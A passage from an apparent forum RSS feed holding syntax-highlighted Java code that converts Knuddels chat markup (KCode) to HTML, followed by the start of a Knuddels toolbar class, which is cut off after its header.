/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">bold</span><span style="color: #007700">){<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;/b&gt;"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">bold&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;b&gt;"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">bold&nbsp;</span><span style="color: #007700">=&nbsp;!</span><span style="color: #0000BB">bold</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">'"'</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">escape</span><span style="color: #007700">){<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"\""</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">italic</span><span style="color: #007700">){<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;/i&gt;"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;i&gt;"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">italic&nbsp;</span><span style="color: #007700">=&nbsp;!</span><span style="color: #0000BB">italic</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">'#'</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">escape</span><span style="color: #007700">){<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"#"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;br&gt;"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;default:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">ch</span><span style="color: #007700">);&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">ch&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #DD0000">'\\'</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">""</span><span style="color: #007700">);&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">escape&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">true</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}else&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">escape&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">toString</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;static&nbsp;</span><span style="color: #0000BB">String&nbsp;GetHtmlColor</span><span style="color: #007700">(</span><span style="color: #0000BB">char&nbsp;s</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">s&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #DD0000">'A'</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #DD0000">"GRAY"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;(</span><span style="color: #0000BB">s&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #DD0000">'B'</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #DD0000">"BLUE"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;(</span><span style="color: #0000BB">s&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #DD0000">'C'</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #DD0000">"CYAN"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;(</span><span style="color: #0000BB">s&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #DD0000">'D'</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #DD0000">"DARKGRAY"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;(</span><span style="color: #0000BB">s&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #DD0000">'E'</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #DD0000">"DARKGREEN"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;(</span><span style="color: #0000BB">s&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #DD0000">'G'</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #DD0000">"GREEN"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;(</span><span style="color: #0000BB">s&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #DD0000">'K'</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #DD0000">"BLACK"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;(</span><span style="color: #0000BB">s&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #DD0000">'Y'</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #DD0000">"YELLOW"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;(</span><span style="color: #0000BB">s&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #DD0000">'L'</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #DD0000">"LIGHTBLUE"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;(</span><span style="color: #0000BB">s&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #DD0000">'M'</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #DD0000">"VIOLET"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;(</span><span style="color: #0000BB">s&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #DD0000">'N'</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #DD0000">"BROWN"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;(</span><span style="color: #0000BB">s&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #DD0000">'O'</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #DD0000">"ORANGE"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;(</span><span style="color: #0000BB">s&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #DD0000">'P'</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #DD0000">"PINK"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;(</span><span style="color: #0000BB">s&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #DD0000">'R'</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #DD0000">"RED"</span><span style="color: #007700">;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;(</span><span style="color: #0000BB">s&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #DD0000">'W'</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #DD0000">"WHITE"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;(</span><span style="color: #0000BB">s&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #DD0000">'Y'</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #DD0000">"YELLOW"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;(</span><span style="color: #0000BB">s&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #DD0000">'r'</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">fontColor</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #DD0000">"BLACK"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;static&nbsp;</span><span style="color: #0000BB">String&nbsp;parseColor</span><span style="color: #007700">(</span><span style="color: #0000BB">String&nbsp;input</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Pattern&nbsp;p&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Pattern</span><span style="color: #007700">.</span><span style="color: #0000BB">compile</span><span style="color: #007700">(</span><span style="color: #DD0000">"(\\d{1,3}),(\\d{1,3}),(\\d{1,3})"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Matcher&nbsp;matcher&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">p</span><span style="color: #007700">.</span><span style="color: #0000BB">matcher</span><span style="color: #007700">(</span><span style="color: #0000BB">input</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">matcher</span><span style="color: #007700">.</span><span style="color: #0000BB">find</span><span style="color: #007700">())&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;colors&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">matcher</span><span style="color: #007700">.</span><span style="color: #0000BB">group</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;c1&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Integer</span><span style="color: #007700">.</span><span style="color: #0000BB">parseInt</span><span style="color: #007700">(</span><span style="color: #0000BB">colors</span><span style="color: #007700">.</span><span style="color: #0000BB">split</span><span style="color: #007700">(</span><span style="color: #DD0000">","</span><span style="color: #007700">)&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;c2&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Integer</span><span style="color: #007700">.</span><span style="color: #0000BB">parseInt</span><span style="color: #007700">(</span><span style="color: #0000BB">colors</span><span style="color: #007700">.</span><span style="color: #0000BB">split</span><span style="color: #007700">(</span><span style="color: #DD0000">","</span><span style="color: #007700">)&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;c3&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Integer</span><span style="color: #007700">.</span><span style="color: #0000BB">parseInt</span><span style="color: #007700">(</span><span style="color: #0000BB">colors</span><span style="color: #007700">.</span><span style="color: #0000BB">split</span><span style="color: #007700">(</span><span style="color: #DD0000">","</span><span style="color: #007700">)&#91;</span><span style="color: #0000BB">2</span><span style="color: #007700">&#93;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">Integer</span><span style="color: #007700">.</span><span style="color: #0000BB">toString</span><span style="color: #007700">((new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">c1</span><span style="color: #007700">,</span><span style="color: #0000BB">c2</span><span style="color: #007700">,</span><span style="color: #0000BB">c3</span><span style="color: #007700">)).</span><span style="color: #0000BB">getRGB</span><span style="color: #007700">()&nbsp;&amp;&nbsp;</span><span style="color: #0000BB">0xffffff</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">16</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;static&nbsp;</span><span style="color: #0000BB">boolean&nbsp;isNumber</span><span style="color: #007700">(</span><span style="color: #0000BB">int&nbsp;character</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">character&nbsp;</span><span style="color: #007700">&gt;=&nbsp;</span><span style="color: #DD0000">'0'&nbsp;</span><span style="color: #007700">&amp;&amp;&nbsp;</span><span style="color: #0000BB">character&nbsp;</span><span style="color: #007700">&lt;=&nbsp;</span><span style="color: #DD0000">'9'</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br /><br />}&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>uncopyable</dc:creator>
			<guid isPermaLink="true">sourcecode-91/kcodeparser-kcode-to-html-11965</guid>
		</item>
		<item>
			<title><![CDATA[[Java] [Knuddels] Toolbar]]></title>
			<link>sourcecode-91/java-knuddels-toolbar-11740?goto=newpost</link>
			<pubDate>Wed, 02 May 2012 17:26:31 GMT</pubDate>
			<description>Da man dies sicher auch gut für Clientmanipulierungen benutzen kann: 
 
PHP: 
--------- 
package Util; 
 
import java.awt.Color; 
import...</description>
			<content:encoded><![CDATA[<div>Da man dies sicher auch gut für Clientmanipulierungen benutzen kann:<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">package&nbsp;Util</span><span style="color: #007700">;<br /><br /></span><span style="color: #0000BB">import&nbsp;java</span><span style="color: #007700">.</span><span style="color: #0000BB">awt</span><span style="color: #007700">.</span><span style="color: #0000BB">Color</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">import&nbsp;java</span><span style="color: #007700">.</span><span style="color: #0000BB">util</span><span style="color: #007700">.List;<br /></span><span style="color: #0000BB">import&nbsp;knuddels</span><span style="color: #007700">.</span><span style="color: #0000BB">SendOpcode</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">import&nbsp;knuddels</span><span style="color: #007700">.</span><span style="color: #0000BB">Server</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">import&nbsp;tools</span><span style="color: #007700">.</span><span style="color: #0000BB">PacketWriter</span><span style="color: #007700">;<br /><br /></span><span style="color: #FF8000">/**<br />&nbsp;*<br />&nbsp;*&nbsp;@author&nbsp;Hilko/Mentos<br />&nbsp;*/<br /><br /></span><span style="color: #007700">public&nbsp;class&nbsp;</span><span style="color: #0000BB">Toolbar&nbsp;</span><span style="color: #007700">{<br 